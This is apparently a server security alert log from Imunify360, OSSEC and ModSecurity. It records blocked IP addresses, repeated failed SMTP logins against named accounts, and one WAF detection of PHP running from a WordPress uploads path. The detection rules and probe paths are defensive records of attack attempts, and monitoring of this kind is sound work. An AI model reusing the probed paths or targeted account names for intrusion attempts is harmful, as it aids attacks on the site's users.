Jul 25 11:53:27 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.70.32.53 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 108.174.146.197
country_id: 3469034
description:
Jul 25 11:53:10 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 108.174.146.197 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.32.53
country_id: 1668284
description:
2026-07-25 11:53:29 dovecot_login authenticator failed for H=111-70-32-53.emome-ip.hinet.net ([142.54.225.52]) [111.70.32.53]:39431: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.90.67.84
country_id: 1643084
description:
Jul 25 11:53:44 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.90.67.84 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.42
country_id: 6252001
description:
2026-07-25 11:54:24 dovecot_login authenticator failed for H=(t0wr93) [31.57.184.42]:29349: 535 Incorrect authentication data (set_id=sadiq)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 185.244.208.209
country_id: 1819730
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:11-54.185.244.208.209||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 206.189.39.63
country_id: 1880251
description:
Jul 25 11:54:38 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 206.189.39.63 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 101.42.7.20
country_id: 1814991
description:
Jul 25 11:54:45 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 101.42.7.20 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 51.15.214.201
country_id: 3017382
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:11-54.51.15.214.201||RSV:8.35||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.42
country_id: 6252001
description:
2026-07-25 11:55:42 dovecot_login authenticator failed for H=(J6b8H3uw2) [31.57.184.42]:58364: 535 Incorrect authentication data (set_id=sadiq)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 141.98.101.181
country_id: 2635167
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:11-56.141.98.101.181||RSV:8.35||T:APACHE||


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 31.57.184.42
country_id: 6252001
description:
2026-07-25 11:55:22 dovecot_login authenticator failed for H=(t1UcEB) [31.57.184.42]:50719: 535 Incorrect authentication data (set_id=sadiq)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 196.196.53.86
country_id: 458258
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:11-55.196.196.53.86||RSV:8.35||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.42
country_id: 6252001
description:
2026-07-25 11:56:20 dovecot_login authenticator failed for H=(Iwk6Q6GNd) [31.57.184.42]:8390: 535 Incorrect authentication data (set_id=sadiq)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.61.54.90
country_id: 1814991
description:
Jul 25 11:56:25 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.61.54.90 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 149.34.251.245
country_id: 6252001
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:11-56.149.34.251.245||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 194.99.79.214
country_id: 1819730
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:11-56.194.99.79.214||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 5.9.98.210
country_id: 2921044
description:
Jul 25 11:56:33 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 5.9.98.210 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.42
country_id: 130758
description:
Jul 25 11:56:45 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.42 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.38
country_id: 1269750
description:
2026-07-25 11:57:17 dovecot_login authenticator failed for H=([186.200.10.239]) [122.187.230.38]:51695: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.230.38
country_id: 1269750
description:
Jul 25 11:57:15 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.230.38 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.53.193.47
country_id: 2661886
description:
Jul 25 11:57:25 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.53.193.47 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.53.193.47
country_id: 2661886
description:
2026-07-25 11:57:27 dovecot_login authenticator failed for H=h77-53-193-47.cust.bredband2.com (118-163-145-175.hinet-ip.hinet.net) [77.53.193.47]:58194: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 143.198.143.161
country_id: 6252001
description:
Jul 25 11:57:25 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 143.198.143.161 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.114.125.24
country_id: 1814991
description:
Jul 25 11:57:11 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.114.125.24 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.42
country_id: 6252001
description:
2026-07-25 11:57:18 dovecot_login authenticator failed for H=(pHUy7EA40) [31.57.184.42]:29654: 535 Incorrect authentication data (set_id=sadiq)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 196.196.53.86
country_id: 458258
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:11-57.196.196.53.86||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77472029
name: IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)
abuser: 20.206.67.15
country_id: 3469034
domain: autodiscover.cochinbigbandshow.com
description:
IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)||MV:/wp-content/uploads/meiwei.php||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 43.132.215.237
country_id: 1819730
description:
Jul 25 11:57:53 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 43.132.215.237 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.138.215.159
country_id: 1814991
description:
Jul 25 11:59:02 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.138.215.159 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.42
country_id: 6252001
description:
2026-07-25 11:58:17 dovecot_login authenticator failed for H=(6DovC2c) [31.57.184.42]:50659: 535 Incorrect authentication data (set_id=sadiq)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.37
country_id: 130758
description:
Jul 25 11:58:15 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.37 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.250.200.4
country_id: 2245662
description:
Jul 25 11:59:32 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.250.200.4 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 51.178.251.73
country_id: 3017382
description:
Jul 25 11:59:41 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 51.178.251.73 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 118.139.165.143
country_id: 1880251
description:
Jul 25 12:00:07 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 118.139.165.143 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 148.66.155.73
country_id: 1880251
description:
Jul 25 12:00:08 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 148.66.155.73 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.169.136.182
country_id: 6252001
description:
Jul 25 12:00:10 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.169.136.182 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.163.215.131
country_id: 1562822
description:
Jul 25 11:59:12 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.163.215.131 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.42
country_id: 6252001
description:
2026-07-25 11:59:15 dovecot_login authenticator failed for H=(qHVZ1J5) [31.57.184.42]:7330: 535 Incorrect authentication data (set_id=sadiq)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 51.159.139.206
country_id: 3017382
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:11-59.51.159.139.206||RSV:8.35||T:APACHE||


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 31.57.184.42
country_id: 6252001
description:
2026-07-25 11:59:53 dovecot_login authenticator failed for H=(pQ8KLEI6q) [31.57.184.42]:21329: 535 Incorrect authentication data (set_id=sadiq)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.42
country_id: 6252001
description:
2026-07-25 12:00:14 dovecot_login authenticator failed for H=(5Gp5yBO) [31.57.184.42]:28518: 535 Incorrect authentication data (set_id=sadiq)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 196.196.53.86
country_id: 458258
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:12-00.196.196.53.86||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 210.211.98.70
country_id: 1562822
description:
Jul 25 12:00:20 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 210.211.98.70 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 79.220.127.123
country_id: 2921044
description:
Jul 25 12:00:31 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 79.220.127.123 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 75.158.203.80
country_id: 6251999
description:
Jul 25 12:00:36 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 75.158.203.80 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 2.26.252.159
country_id: 6252001
description:
Jul 25 12:00:41 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 2.26.252.159 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 95.85.94.112
country_id: 1861060
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:12-00.95.85.94.112||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 142.93.208.47
country_id: 1269750
description:
Jul 25 12:01:03 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 142.93.208.47 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.255.170.48
country_id: 2017370
description:
Jul 25 12:01:27 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.255.170.48 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.42
country_id: 6252001
description:
2026-07-25 12:01:13 dovecot_login authenticator failed for H=(vy28VG) [31.57.184.42]:51078: 535 Incorrect authentication data (set_id=sadiq)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.106.104.25
country_id: 1562822
description:
Jul 25 12:01:13 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.106.104.25 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 139.59.167.172
country_id: 2635167
description:
Jul 25 12:02:15 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 139.59.167.172 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 39.105.128.185
country_id: 1814991
description:
Jul 25 12:02:16 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 39.105.128.185 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.42
country_id: 6252001
description:
2026-07-25 12:02:30 dovecot_login authenticator failed for H=(Ngxxzp) [31.57.184.42]:15693: 535 Incorrect authentication data (set_id=sadiq)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.253.248.7
country_id: 130758
description:
Jul 25 12:03:02 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.253.248.7 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 164.92.198.75
country_id: 2921044
description:
Jul 25 12:03:29 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 164.92.198.75 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.216.118.192
country_id: 1562822
description:
Jul 25 12:03:46 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.216.118.192 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.28
country_id: 130758
description:
Jul 25 12:03:12 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.28 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.42
country_id: 6252001
description:
2026-07-25 12:03:29 dovecot_login authenticator failed for H=(64WMqJ) [31.57.184.42]:37728: 535 Incorrect authentication data (set_id=sadiq)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 163.172.60.23
country_id: 3017382
description:
Jul 25 12:04:16 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 163.172.60.23 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 115.190.242.203
country_id: 1814991
description:
Jul 25 12:04:22 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 115.190.242.203 has been locked due to Imunify RBL


